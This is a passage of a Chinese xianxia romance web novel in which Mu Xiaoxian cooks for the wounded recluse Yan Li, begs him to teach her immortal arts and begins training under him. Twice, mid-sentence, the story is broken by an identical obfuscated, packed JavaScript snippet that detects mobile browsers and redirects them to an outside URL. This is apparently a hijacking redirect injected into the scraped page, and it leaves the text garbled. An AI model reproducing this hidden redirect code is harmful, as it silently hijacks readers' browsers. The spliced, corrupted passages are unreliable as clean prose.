他转过身,眼睫微颤,抬起一双如烟似雾的眼眸,看似平淡无波地望向她,不经意间,眼底冰封千年的积雪悄然融化。 微风袭过,一缕柔软的发丝飘向他的唇边,肉色的唇微微有些颤抖,脸色更显苍白。 身上银丝暗纹镶边的白衣随风而动,仿佛仙气缭绕、缥缈如烟,映衬着山中竹林淡绿色的光华。 如冰如玉,若霜若雪。 清冷出尘,超然世外。 明明近在眼前,身上的气息却仿佛隔绝在千里之外。 慕小闲不由顿住呼吸,唯恐惊扰了山中仙人。 行走间,他轻轻敛了下眉,慕小闲随之呼吸一颤,却见他脚步略有迟疑,便向下看去。 起初并不明显,但他一走动,脚踝处渗出了一圈触目惊心的血渍。 慕小闲恍然睁大眼睛,只见他面色从容,仿佛她看到的是错觉。 她又低头望去,这次看清楚了,他的脚踝处有一圈黑色的印记,他每走一步,那印记便如同荆棘刺入皮肉,黏在他的血肉中,新伤旧痂模糊不堪。 慕小闲倒吸一口冷气,颤抖的目光再次望向晏离,他的神色依旧未变,平静又冷淡。 为什么他这么平静?他不痛吗? “你受伤了......”慕小闲拧眉道。 他看上去越是淡然,慕小闲心里越是躁动不安:“神仙不是会仙术吗?为什么还会受伤?” 晏离垂眸道:“神仙并非无所不能。” 小十一深知其中的厉害:“这是一种囚仙印,会生长在肉/体上不断吸食仙力,越是仙力强大的神仙,囚仙印的束缚也会越强。神仙无法挣脱,也没有仙术可医。” 慕小闲眉头皱得更深了,她攥紧手指,轻声问:“你就是晏离?” 他没有说话,算是默认了。 慕小闲接着说:“我叫慕小闲。谢谢您救了我。” 几息之后,才听到他轻应了一声。声音清冷澄澈,像晚秋带着凉意的微风吹进了她的心里。 小十一还未恢复人形,他一跃扑到晏离的腿上,奶声奶气地说:“叔父,我想吃东西了。” 说起来,晏离是白瑶是远房表亲,小十一又是白瑶的侄子,两人还真有点沾亲带故的关系。 小十一在晏离的腿上撒娇,晏离顺了顺他的皮毛,说:“后厨还有点……” 慕小闲赶忙说:“在哪儿?我去拿,你别动!” 小十一飞身下地在前面带路,绕过竹屋,溪边另起一简陋的小屋。他们在屋中翻找一番,灶台虽然干净,但没有生火的迹象,他们只在灶台旁寻到了一缸冷茶。 慕小闲大为震惊,他难道不吃东西?难怪看上去如此清瘦。 慕小闲决定和小十一一起去找食材,小十一这时又犯了懒说:“没有就算了。我们都是仙,饿不死的。” 这么说也是,可是有的时候吃东西并不是因为饿了,而是嘴巴寂寞了。长时间一个人生活,一直吃些生冷的东西该多寂寞啊。 慕小闲拖着小十一跑到丛林里硬是抓了只鸡,採了些蘑菇。既然如此,当然是做小鸡炖蘑菇了。 鸡肉飞水去腥,锅里倒油烧热,加鸡肉,葱姜,大叶,桂皮翻炒,再加酱油,盐,糖,炒至鸡肉上色。 小十一凑在厨房的门边嗅了嗅,眼中一亮,对她刮目相看。 一盘菜端出来,色香味俱全,慕小闲得意地看了看小十一,又偷偷瞄了一眼晏离。 晏离清冷的目光却绕过盘子落在她沾着油灰的手上,微微蹙起那双如同远山青黛一般的眉。 慕小闲猜测晏离爱干净,看不得自己这副脏兮兮的样子,赶忙跑到小溪边将手洗干净,回来时就看见小十一吐出根骨头,大赞道:“没想到你菜烧的还不错,要不然跟我回去当个厨子吧。” 慕小闲敲了一下他的脑袋:“你小心我下毒了哦。” 小十一脸色一变,哇哇地在一旁干呕起来。 察觉到晏离飘来的目光,慕小闲赶紧解释道:“我开玩笑的,我没有下毒。我把食材反反复复清洗了好几遍,绝对干净卫生。” 天庭的奇珍异宝虽多,哪里有凡间各地美食?在慕小闲期待的目光中,晏离起手夹了一块,慢慢放入口中,垂眸细细咀嚼。 末了,他轻声说,很好。 慕小闲心里像放了烟花似的,有点飘飘然。 累了几天慕小闲和小十一都馋坏了,不一会儿就将食物扫荡一空,慕小闲看到晏离只吃了一口便放下了筷子,疑惑道:“怎么不吃了?是不是不合胃口?” 晏离摇了摇头:“很久不吃新鲜的东西,不习惯了。” 慕小闲夹了块肉,问:“多久?” 晏离思忖道:“一千年。” 慕小闲手一抖,夹起的鸡块从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137698|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筷子上滑落,眼看就要掉到桌上,被小十一一伸手用碗接了去:“一千年其实也不算太久的,有的仙不喜欢吃东西,升仙后就没吃过了。” 慕小闲自言自语:“我不修仙了,我要吃东西,凡间有好多好多好吃的,我还没吃够呢。” 小十一嗤了一声:“说的好像成仙很容易似的。” 山林间清风拂面,一股淡淡的草木清香萦绕在鼻尖,让人心旷神怡。山里的环境太好,在舒适的环境里,慕小闲感觉自己吃饱了有些迷瞪。这里没有外面的浮躁,倒是很适合养老。 “慕小闲,你下一步有什么打算?”小十一问。 慕小闲一个激灵,对啊,她可不是来养老的。她悄悄看了晏离一眼,只见他缥缈的身影立在竹屋旁,望着竹林深处,眼睫如扇轻轻在平静如水的眼眸上扫过,似是感觉到她的目光,偏头望来。 如果说华尧是意气风发的少年之美,凤钰是魅惑人心的妖娆之美,那么晏离就是孤高疏离的清冷之美。 他犹如高岭之花,不可方物,这样的神仙,救她已经是祖坟上冒青烟了,会答应教她吗? 慕小闲走到晏离的身侧,试探地问道:“晏离,其实我一直想来找您,是有事情想拜托您。” 晏离幽幽目光落在她身上,薄唇轻启:“何事?” 慕小闲看着他的眼睛非常诚恳地说:“拜托您教我仙术!” 小十一听见一愣,瞪大了眼睛看向慕小闲。 晏离没有表现出丝毫惊讶,而是问道:“为何?” 他的声音让慕小闲心里一颤,居然有些打退堂鼓。 “我知道突然跑来拜师很奇怪,但是我没有别的办法了。我原本是一个普普通通的凡人,有一天突然在大街上白日升天......” 慕小闲把自己升天后的遭遇给晏离简述了一遍,晏离静静地听着,眸色幽深,只是在她提及危险之处时,眼睫轻颤,呼吸不易察觉地急促了几分。 “我不会仙术,在天界无依无靠,又不知招惹了谁要杀我。我走投无路,为了生存只能来找您拜师,请您收我为徒。”慕小闲抬眼小心翼翼地看向他。 许久,晏离都没有出声。 小十一眼珠子在两人身上转来转去,欲言又止。 晏离沉默须臾,问:“你可知我曾是青丘之主白瑶的师父?” 慕小闲眨了眨眼睛,是了,晏离曾教导过青丘之主,这样尊贵的身份,怎么会答应教她这样一个不知从哪儿冒出来的人。但是她好不容易找到了晏离,怎么可能轻易放弃? 慕小闲点了点头:“我知道不是谁都能当您的徒弟,虽然我哪里都比不上白瑶,但是我会烧菜做饭、端茶倒水、扫地洗衣,还会讲笑话。一日为师终身为父,我会记得您的大恩大德,学成之后一定会孝敬您的。” 晏离不知为何声音冷上几分:“烧菜做饭、端茶倒水,扫地洗衣......你就会做这些?” 慕小闲咬了下嘴唇,心想我在凡间学的那些学科在天界派不上用场,能拿得出手的也只有这些基本生存技能。她怕晏离觉得她什么也不会,赶忙解释道:“我会的可多了,只是一时没有施展的机会,您若是肯教我修炼仙术,我一定会大有用武之地。” 小十一眼珠一转,推波助澜道:“叔父,你就应了她吧。你不应她,她该想着法子折腾了。何况,你这里多一个人也热闹些。” “我一个人很好。”晏离道,一句话仿佛在他们之间竖起了一道无法打碎的屏障,将慕小闲隔绝在了门外不知所措。 慕小闲料到了晏离不会轻易答应她,但当她听到晏离拒绝的言语中好像没有一丝回转的余地时,心里还是有些慌了。天界之大,她无依无靠,如果晏离不愿收留她,她无处可去。 慕小闲声音中杂糅着一丝委屈:“为什么?” 晏离清冷的眼眸中倒映着她复杂的神色,两袖在清风中悠悠飞扬,语气疏离又坚定:“我已不再收徒。” 35. 第 35 章 月色笼着一层云雾面纱,温柔地抚摸着每一片竹叶,透过枝叶间隙落下婆娑竹影。 慕小闲坐在小溪边,拖着腮迷茫地望着天边的月色,微微蹙起眉,任凭清风打乱她身后的三千烦恼丝。 晏离回绝了她拜师的请求,并且说自己不再收徒,算是断了她的念想。但她却隐隐觉得晏离并非如此决绝,或许是有她不能触碰的秘密。 譬如,他为何会带着囚仙印,隐匿在这与世隔绝的深山之中,连白瑶都不知道他去了哪里。 夜里安静极了,饶是她此刻离竹屋有一段距离,还是下意识压着声音问:“小十一,你和我说说,你对晏离有什么了解?他是怎么成为白瑶师父的?” 小十一正趴在一根树干上,小心翼翼地伸手往树枝上的鸟窝而去。 在这关头听见慕小闲同他说话,紧了紧眉头,怏怏地收回手,但目光却紧紧盯着鸟窝答道:“晏离虽然是我的小叔,但他隐居多年,我先前从来没见过他,只是听大人提过几句。他们说晏离是白家远亲,他天资聪慧、容貌俊秀、仙术高强,三五百岁就能独当一面,不过千岁就在青丘众仙中脱颖而出,是青丘千年难遇、万年难求的奇才。不过他生性冷若寒霜,不喜入世,所以无人知道他的踪迹。” 小十一瞥了竹屋的方向一眼,低头小声说:“曾有人说,论仙术才学,晏离是远超姑姑的,若是他有意青丘之主的位子,也是能与白家争上一争的。不过这话听听也就罢了,白家几万年的的基业怎么可能是一两个人能动摇的。” 慕小闲的余光落在远处竹屋的方向,心中淡淡道,这样才学兼备又性情高洁的人,待在青丘怕是有些屈才,好在他并不留恋尘世的喧嚣。 小十一看准时机,将手伸进鸟窝翻出几颗鸟蛋,飞快缩回手揣进怀里,边向下爬边接着说:“听说姑姑小时候性子顽劣,和现在完全不一样。白家的继承人每逢千岁都会在长乐宫大设宴席,邀请许多亲族神官前来参加。听说就在千岁宴上,姑姑对晏离颇为好奇。 “当时的青丘之主永昭殿下,看晏离天资卓绝、气质非凡又对姑姑并不殷勤,想磨一磨她的性子,就把她送到晏离那里教养了。没想到姑姑在晏离这里确实收敛了许多,大家都觉得晏离颇有教学之道,都想将自家的孩子送到他这儿学习。晏离本就很少出现在世人面前,后来就更加没影儿了。” 忽而林间传来一阵翅膀煽动的声音,小十一赶紧从树上爬下来,带着慕小闲跑回小竹屋附近,在竹林中升起火,用树枝插起鸟蛋放在火上烤。 火星啪啪作响,慕小闲站在他身后两米开外,视线避着火光问道:“晏离和白瑶关系好吗?” 小十一回头睥了她一眼:“他们是师徒,在一起生活了几百年,关系应当是不错的。”不知小十一是不曾听闻他们之间的事,还是对慕小闲有所顾忌,对这个问题并未说上几句。 慕小闲微微叹了口气,想不明白晏离为何不再收徒,也不知道自己还有什么理由能够打动他。 ——咔嚓 小十一手上叉着鸟蛋的树枝突然脆裂,鸟蛋跌落在熊熊火焰之中。小十一瞪大了眼睛,惨叫一声,不明白为何今日运气怎么如此差,不甘心地想伸手去捞。 慕小闲不得已抬头看了过去,就在小十一的手伸向火焰时,她突然头皮一痛,心仿佛被一根细线悬在了空中。 她来不及思索,飞速上前抓起小十一的后襟将他往后拖了几步。就见火舌一卷,火焰吞蛋入腹后突然变得旺盛起来,火星噼里啪啦四处飞溅。 “快灭火!”慕小闲喊道。 还未等小十一反应过来掐诀,一盆冷水从天而降,火势瞬间熄灭,只留下一抔黑土和一息余烟。 清风吹散了云雾,静谧竹林中,皎皎月色下,走出一个清冷到有几分寡淡的身影。 小十一倒吸一口气,低下头说:“叔父,对不起,我想烤鸟蛋来着。” 晏离的身影在黑夜中显得更加清瘦,他在昏沉处看了他们一眼,慕小闲却觉得他的视线越过了小十一,不冷不热地落在了她身上。 慕小闲心道,不是我想烤鸟蛋,也不是我放的火,看我做什么?想虽这么想,但也低头认错:“对不起。我们不是有意放火,打扰您休息了。” 晏离没有训诫他们,却是衣袖一转,翩然离去。他的背影孤傲又坚硬,白衣在林中缓慢地挪动,每走一步都十分吃力。 慕小闲在竹屋修养几日,精神已经大好,只是不知道如何才能说服晏离,所以又装作身体不适赖在竹屋多待几天。 天刚大亮时,晏离在溪边浣洗衣服,他腿脚不便,行动看上去迟缓又艰难。木盆浸在水中,白色的衣裳随着水波微微荡漾,他蹲下身纤细修长的手指在水中轻轻地搓揉着,青丝从肩头披散下来,俊美的容颜倒映在清澈的流水中。 身后传来一丝动静,他心中微微一动,失神间,柔软的衣裳从指间滑过,顺着水流飘走,眨眼间就漂去几米远。 ——噗通 灵活的身影跃入水中,溅起浅浅的水花。水中奔走几步,捡回了漂走的衣裳,回头粲然一笑,神色灵动又俏丽,让晏离身上冷凝的气息略微消融。 慕小闲踩着溪水中的石头往回走,忽然脚下一滑,整个人扑了下去。 不远处,晏离几乎是立刻站起身,一脚踩进水中。 慕小闲从水里爬起来,身上衣衫湿了大半,但是手中仍紧紧攥着晏离的衣裳。她哆哆嗦嗦地走回来,腿上不知磕到了那里,裙摆破了一个洞,腿上青了一大片。 她走到岸边将衣裳递给晏离,讨好似地笑了一下:“晏离,你的衣裳我捡回来了。” 晏离垂眸扫了一眼她手中揉成一团的衣裳,微微拧眉:“既然丢了何必再找回来。”他接过衣裳,抬手便要丢进水里。 冰冷又生硬的语气和举动让慕小闲笑容一僵,悻悻地收回笑容,焦急道:“既然找回来了何必再丢。” 晏离的手终究没有落下,他目光晦涩地看了她一眼:“你无需做这些事情。” 有些话不用说的太明白,慕小闲也知道他是什么意思。她的讨好并未得到晏离的动容,他依然不想教她,甚至不想和她有过多牵连。她不知晏离为何如此不近人情,许是神仙本就无欲无求,不会对一个陌生人有丝毫的怜悯。 小十一揉着眼睛从竹屋内走出来,见两人僵在小溪边,气氛凝重,疑惑的目光在两人之间来回打量。 慕小闲心有不甘,但她没有资格求晏离教她,也做不到低声下气去打动一颗冰冷的石头,于是坦言道:“晏离,我来天界之后因为没有身份和仙力吃了不少亏。在天界不会仙术太被动了,我不想再莫名其妙地被诬陷、追杀,不想一直浑浑噩噩下去。 “只有我自己变强了,我才能主宰自己的命运,才能在天界安稳的生活。我只是想好好活下去。”她看着他的眼睛停顿了一下,那真是一双极美的眼睛,在幽暗的深处好像藏着许多不为人知的秘密。 “这几天打扰了,你不愿意教我也没关系,我会想别的办法。你的救命之恩我不会忘的,如果以后你有需要我的地方,我一定竭尽所能帮你。”慕小闲走上岸,低垂的目光从晏离的脚踝处划过,感觉晏离微微颤动了一下。 慕小闲走到竹屋前对小十一耸耸肩,很遗憾地说:“我可能要暂时去你那儿当个厨子了。” 小十一从台阶上跳下来,犹犹豫豫地回望了一眼,跟着慕小闲朝院外走去。 明明只有几步路,慕小闲却感觉很疲惫。前方是望不到头的山路,不知道哪里才是尽头。 “等等......” 身后飘来一声轻叹:“我可以教你,不过你须要帮我做一件事情。” 慕小闲陡然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137699|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下脚步,眨眨眼睛,难以置信地回头望去,眼中刹那间迸发出异样的光彩,赶紧问道:“什么事?”好似耽搁一秒都怕他后悔似的。 停留在原地的晏离依旧神色平静:“替我去取一样东西。” 慕小闲点点头,语气轻快了几分:“没问题。” “你不问是什么?” 慕小闲三步并作两步跑回晏离身边,:“只要不是违法犯罪、作奸犯科之事都可以。我相信你不会的。” 晏离又道:“我会很严厉。” 慕小闲大喜过望:“我不怕!” 小十一不明所以:“怎么不走了?” 虽然不明白晏离为何突然转变了态度,但总算有了一个暂时的栖身之所,还有了新的希望。慕小闲转身拉起小十一转圈圈:“我可以留下了!” 小十一更加晕头转向:“停下!停下!什么意思?叔父,你管管她!” 慕小闲和小十一在院里吵吵闹闹,晏离安静地立在一旁,仿佛和他们不在同一个世界。 半晌,晏离飘过来丢下一本一指厚的簿册:“七日后检验。”而后侧身对小十一道:“你该回去了。别忘了答应我的。” 小十一虽然在青丘横行霸道,但在长辈面前却端的一副乖巧听话的模样,只能瞅瞅慕小闲说:“既然你能留下,我就先回去了,改日再来。”忽而化成一只小白狐,一溜烟儿窜进林间。 她低头拿起簿子仔细翻看,这本心法应该有些年代了,扉页陈旧泛黄,还有晕染开的水渍。一上来就把古籍丢给她,慕小闲有些受宠若惊,忍不住说道:“谢谢师父。” 晏离欲往竹屋去的身影顿在原地,良久才侧过身道:“我还不是你师父。七日后若是背不出来,你依旧要离开。” 慕小闲倒吸一口冷气,立刻低下头死死盯着书上的字。 潇洒苍劲的笔锋,古老生涩的文字,枯燥深奥的图案。读起来晦涩难懂,想要几天内吃透肯定是不可能的,但是死记硬背却可以。 慕小闲学生时代不乏有散漫了一个学期,最后靠划重点和一个晚上的临时记忆混过考试的时候。虽然这种事迹非常不值得提倡,但有时候抱佛脚,一股脑将知识灌输进大脑,大脑能够自动消化沉淀。 慕小闲坐在竹屋门口的小木椅上,捧着书认真地啃着。 不多时,天色渐暗,山林间鸟雀扑腾着落下。竹屋里点上了蜡烛,窗口溢出了昏黄的光亮。傍晚的微风带着丝丝凉意袭来,发光的小屋则为无尽黑夜添上了温暖。 外头已然尽黑,慕小闲推门走进屋内。竹屋内除了一方狭小的厅堂,只隔了两间房。 厅内有一张小木桌,两间房分置两头,一间是晏离的卧室,一间是堆放书籍杂物的房间,这些天慕小闲就睡在这间房。虽然比不上鎏华殿和长乐宫的客房,但胜在简单整洁,还有淡雅的清香。 慕小闲坐在木桌旁就着桌上的蜡烛继续背书,点点心法汇入脑中,她的眼前好像浮现出一些画面,一个衣袂飘飘的人影腾空而起,在空中变换着各种姿势。 慕小闲不明所以,目光追随着小人影,继续将书上的字囫囵背下去。 烛光摇曳,对面的门扉上投下一息若隐若现的剪影。他静静地坐着,衣衫齐整,头发披在身后,与门外的慕小闲相距不过几米。 屋外风声呜咽,屋内只有慕小闲轻微的呼吸声。 慕小闲目光落在对面的门扉上,不自觉提起一口气。人影幢幢,孤单清丽,她一眨眼挪开了目光。 她摇头晃脑地默背心法,不一会儿又抬起了头,目光落在他身上。人影依旧在那个位置,轮廓孤单冷清。 咦?她背到哪里了?这可不行,慕小闲深吸一口气,将椅子背对向那扇门。 门的另一侧,打坐的晏离睁开薄雾一般的眼眸,目色幽幽地望向门扉上融入暖光的影子。 36. 第 36 章 七日一晃而过。 慕小闲打着哈欠推开门,门外的湿冷空气一股脑灌了进来,让她打了个寒噤,困意顿时消散。虽说心法拗口,以她的智商和学习态度七日也能记全了,只是青丘山林里的鸟兽甚是扰民,让她这几天心里郁结。 每日凌晨四点天还未亮,山里的野生走地鸡就开始在漆黑一片中“咕咕咕”地祈祷黎明。 慕小闲睡不好很烦躁,山里的野鸡可就遭了殃。这几日被不知从哪里钻出来的陌生面孔拿着菜刀追着满山头跑,不幸折损了几元大将。 在桌上连续六天出现不同做法的鸡后,饶是晏离这样对吃食并不在意的人,也落不下筷子了。 他说,它们不会再吵了。 今天她果然睡了好觉,一打开门便觉得神清气爽。 晏离大约在天刚蒙蒙亮时就会起身,先是在小溪边洗漱,然后就在院子里修炼。因为囚仙印的束缚,他平日的移动范围有限,但生活却井然有序。由此可见,他是一个极为自律的人。 心法背了几遍,脑海中已经纯熟。这心法看似复杂,但她背起来却并不费力,反而觉得这些字句好像有生命一样扎进她脑海中,然后在她肚子里横冲直撞。 七日,是晏离给她心法时说的期限,但却不知他会如何检验。 慕小闲边喝粥边小心翼翼地瞄着晏离,见晏离背对着她双手握着扫把在院里扫落叶,扫把一挥,地上落叶哗哗作响。 这些神仙白瞎了有一身好本事,总是喜欢返璞归真、亲力亲为。不过美男扫落叶,大有黛玉葬花的美意,身法也是极其养眼的。 她悄悄把目光挪到院前的树上,不能让晏离发现她的视线,觉得她过于轻浮。 晏离的背部线条在慕小闲的视线离开之后微微一松,慕小闲时不时打量他,目光就像猫爪子一样在他身上轻轻的挠。他行动不便,很好地掩饰了刚才动作的僵硬。 “晏离,你说七日后检验,现在七日已到,你打算如何检验?”慕小闲收拾完碗筷,走到晏离跟前。 “可有记熟?”晏离停下手上的事情,将扫把立在树边。 慕小闲点点头:“记熟了,你随便挑我都能背出来。” “不用。”晏离上前一步,目光落在慕小闲身上:“你可觉得身体有什么异样?” 慕小闲思忖一下:“前两天没睡好,头晕心慌身上没劲儿算吗?” 晏离:“……” “还有我这脖子酸的很!”慕小闲揉揉肩颈,摇摇头。 晏离的眼睫微颤,他伸出纤细的手指搭上慕小闲的手腕,又在她小臂上捏了捏,冰冷的触感在她皮肤上划过:“有没有觉得腹胀?” 慕小闲眼睛一亮:“有有有!你怎么知道的?” 在她连续背了七天心法后,就在昨日复习时,突然觉得小腹中有些胀气,一股微弱的气在她的丹田处游转,不一会儿又没了感觉。 好生奇怪! 晏离松开她的手解释道:“这本心法能将你的身体变成一个储存仙力的容器。你腹胀是因为靠心法积攒的仙力都集中在了丹田处,你需将它运至全身经络。” 原来在她腹腔折腾的就是所谓的仙力,她还以为换了环境水土不服。她有些兴奋地问:“如何将仙力运至全身?” “心法之中的口诀你演示一遍。” 口诀?慕小闲脑海中飞快搜索出几行拗口的句子。她背熟了但却因为姿态着实古怪,所以没好意思照着上面所说的动作练。 应该是这样? 慕小闲深吸一口气,瞪圆了双眼。她两腿开立,下沉,双手上举,右转出步,弓步推掌…… 清风卷来落叶,在慕小闲身边盘旋。 远处,鸟雀叽叽喳喳的在林间穿梭,野兔在草丛里探出头来,泉水叮咚,小溪哗哗地从石缝中倾泻而出。 一套干脆利落的心法被慕小闲打成了太极拳。她上学时体育课刚好选的就是太极,磨磨蹭蹭打了几个月,这也算学以致用。 慕小闲边打心里边犯嘀咕,我打的四不像为什么没人喊停?晏离还在看吗? 终于一套打完,她转头紧张地看晏离什么反应,生怕面无表情的晏离被她气出什么表情。 晏离不愧以清冷闻名,什么妖魔鬼怪没见过,果然没有轻易被她吓到,云淡风轻的眸子里似乎透过她在思索着什么。 很好,没有表情就是最好的表情。 慕小闲装作乖巧地眨眨眼睛:“晏离……” 晏离的眼里恢复清明。 “动作不标准。”他停顿了一下说:“再运一遍。我来教你。”他拣了一根细长的树枝,走到慕小闲身后。在慕小闲伸手时,树枝在她手臂上拍打了两下,她软弱无力的胳膊立刻被打直。她抬腿时,树枝在她腿肚一挑,她差点整个人翻过去。 就这样,慕小闲腹部、后背、胳膊腿甚至脖子都没逃出树枝的敲打。汗珠一颗一颗滚落,慕小闲不敢喊苦喊累,在被纠正了数十次后,终于能如行云流水一般运功。 暖流从腹部涌出,蔓延至四肢。随着练习的次数增加,那股暖流就像瀑布一样喷涌而出。暖意从后背爬上了头皮,她觉得越来越热,她的皮肤像烧起来一般,表层出现了气化的水雾。 汗珠从发间滴落,浸入土里。 “今天就到这里。”晏离清冷的气息突然闯入,好像一把冰凉的剑将包裹着她的热气划破。慕小闲晃然回身,喘息地看向晏离:“我......我刚才怎么了?” 晏离看着她湿透了的头发说:“无事。只是有点儿急了。” 见晏离没有多说,检验大抵是通过了。慕小闲心上一松,便觉得身上大汗淋漓甚是难受。 她沿着小溪走到上游,溪水潺潺,如同绸缎从山头层层铺下。溪边卧着零星石块,石头从脚到腰铺满了墨绿的陈年青苔。 她在溪边洗了澡,许是天界的水土养人,只见溪水中倒映的自己眉目之间好像又清秀了不少。 上游有鱼顺流而下,嬉戏于石缝之间,比竹屋旁溪中的鱼要大不少。她眼里闪过一丝狡黠,上回小十一的烤鸟蛋落了空,这次她一定要将鱼捉回去换换口味。 鱼儿灵活,在自己得天独厚的水域自然不能输了场子。慕小闲没入水中的脚掌刚往前划走一步,鱼儿立刻甩尾往远处游去。 在水中行动多有不便,她也不想弄湿了自己的衣物。于是灵机一动,在溪水狭窄区域的横截面堆砌了一排略低于水面的石墙。 溪水并不湍急,缓缓地从石墙间隙渗出,拉出长长的波痕,飘在水面的落叶树枝被拦在了石墙的一侧。 不一会儿,又有落单的鱼儿悠闲地游过来。天界人杰地灵,小臂长的鱼儿看起来很是肥美。鱼儿被困在石墙上游游不过去,在石墙边徘徊。 慕小闲紧盯着灵活的鱼儿,悄悄挪近,看准时机捧起鱼儿就往岸上抛。湿滑的触感落在她的手上,让她不由地紧张了一下,就感觉鱼儿挣扎的尾巴在她掌心狠狠一扫,手掌被刮出了几道渗血的红痕。 鱼儿再野,慕小闲也不是吃素的。该上岸的已经上岸,离了水的鱼儿只能在岸边费力的扑腾。 手掌火辣辣地疼,慕小闲在水中清洗了伤口,再将手捞出时,掌心的红痕竟然在她的注视下一点一点淡化,直至消失不见了。慕小闲瞪圆了眼睛,莫非她这些天的背书已经能派上用场了?假以时日,她岂不是能练成金刚不坏之躯? 岸边快被遗忘的鱼儿还时不时跳动一下提醒它还活着。时间尚早,但天色有些阴沉,几滴 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淅淅沥沥的雨像串串珠帘在他们周身落下,将他们与外界隔绝,哗哗雨声渐渐变得微弱又小心,他所过之处好像安静得连落雨都不忍打搅。 雨点落在伞上,那泛着金辉的竹子仿佛破土而出,在不知名处渐渐生长起来。 慕小闲怔怔地看着他,在湿润的空气中闻到了一丝让人平静的清香。 他怎么在这里?慕小闲心里一紧,往他身后望去,竹屋被他远远的甩在了身后。她又低头看他的脚踝,白布染上了一片猩红。 慕小闲的眼睛被大片的红花狠狠地刺了一下,蹙起眉:“你......” “回吧。”晏离打断她,撑着伞缓缓转身。 慕小闲紧跟而上,让自己缩在伞的遮挡下,余光悄悄地望向身侧。 她还没有如此近距离地看过晏离,他生的极为俊秀,下颌与肩颈线条清瘦利落,如同刀刻,修长如玉的手握着伞柄,袖口如同熙春的湖波一般微微荡开。 他走得很慢,脚步轻缓,仿佛羽毛落地。 慕小闲不自觉也放轻脚步,轻声说:“晏离,你是来找我的吗?”心里涌上一丝晦涩的感觉,默了几秒,说:“我身体不错,经得起折腾,反正已经淋了雨,多淋一会儿也没事。你腿脚不便,应当在竹屋里好好休息,你腿上的伤好不容易结了痂现在又裂开了。” 晏离在她身侧顿了几秒,睥了她一眼:“什么?”声音又带着冷淡与疏离,好似他原本并非出来接她,只是恰好闲情兴致,在雨中漫步到了这里。 慕小闲一哽,有些怀疑是不是她理解错了。晏离怎么可能为了接她,在雨天不顾自己的身体走了那么远的路? 几百米的距离,因为晏离行动不便,他们在雨中慢慢行了很长时间。进屋时天空翻起了鱼肚白,雨势渐小,偶尔有雨点砸落屋檐的声音。 还好慕小闲顺手抓了条鱼回来,此时只有一碗热腾腾的鱼汤才能告慰她的心灵。 晏离收了伞,在门边将他外侧透湿的衣袖拧了拧,目光落在慕小闲沾满泥泞的鞋子上:一双浅色布鞋的鞋底和边缘已经晕染得看不清原貌。 晏离垂眸思忖片刻,指尖轻点,慕小闲身上的衣服突然风干,鞋上的泥土也消失不见。他踉跄一步,脸色又苍白了几分,仿佛他的身体连这样一点仙术都难以承受。 慕小闲不由地有些担忧,他如此羸弱,真的能教好她吗? 晏离只留下一句“不必多想”,便匆匆回房。 慕小闲在门口踟蹰了一会儿,去厨房熬了些鱼汤,又拿了晒干的草药给他。她想问问晏离的伤势如何,但晏离接过她送来的东西便阖上了门,将她的视线隔绝在外。 空气中传来一股血腥气,慕小闲望着那扇紧闭的门扉,心里有些不是滋味。 37. 第 37 章 当慕小闲在青丘苦练基本功时,她本人带头组织的大型“深海逃脱事件”已经传遍天庭的大街小巷。 众神仙见面寒暄不再问“近来可好?”而是眼睛一亮,握着对方的手激动地说:“听说了吗?那个刚升天就一直在搞事没消停过的慕小闲,她她她她她从北溟海极逃跑了!还是伙同几个人一起跑的!天兵天将都没能将她抓回来!来来来,我们去茶楼细说细说。” 自从她升天之后,天界的瓜子简直要脱销了。 好事不出门坏事传千里,饶是华尧上神已经以一己之力为慕小闲澄清她并未下毒,出现在青丘是土地公公的疏漏,魔气是他自己不小心沾上的,凤钰的死活和他们没关系,天庭也停止了一系列的追捕行动等等等等......大家却只相信更加下饭的版本。 故事传得多了,衍生出很多曲折离奇的版本。比如说,华尧上神为爱奋不顾身,却当众惨遭背叛,现在仍垂死挣扎不愿相信...... 近日,众神仙看华尧上神的眼神里都流露出了一丝惋惜。年纪轻轻怎么就瞎了?华尧上神的脾气越发不好,最后竟找了几个不安分的妖魔鬼怪暴打一顿。可谓是化悲愤为力量! 再说青丘,慕小闲来到竹隐山后,山里的飞禽走兽有些兽心惶惶。一来晏大公子嘱咐过他们不与她一般见识,二来慕小闲真的不太好应付。 于是,灌灌失眠,游鱼逃跑,野鸡上吊。 不就是来了个一无所有的小仙,怎么就破坏生态平衡了?但山里的野生动物千千万万,敢去晏离跟前告状的竟然一个也没有。 一晃两个月过去,慕小闲已经适应了深山老林的生活。心法练了数日,她能感觉到身上有一股力量在游走。晏离有时会在一旁督导,但迟迟没有教她别的内容。 这日晏离坐在竹屋前的木桌旁饮茶,在慕小闲渴望的眼神持续注视下,有些不自然地放下接近唇边的瓷杯。 “有事?”晏离道。 慕小闲狗腿地顺手拿起茶壶,给晏离斟满,满脸殷切地说:“晏离,你看我练心法这么久,运功也学会了,能不能学点别的了?” “心法是基础。不可操之过急。” 慕小闲眼珠一转:“是是是,道理我都懂,但是有没有一些简单的仙术可以教我?” 晏离微一沉吟,慕小闲觉得有戏,呜咽一声道:“晏离,这深山老林里枯燥无味,我快无聊死了。” “若你能将我要东西的取来,便能修炼其他仙术了。”晏离思忖道:“不过......现在确有一项仙术你可以试试。” 果然会哭的孩子有奶吃,自己的事情要自己争取。 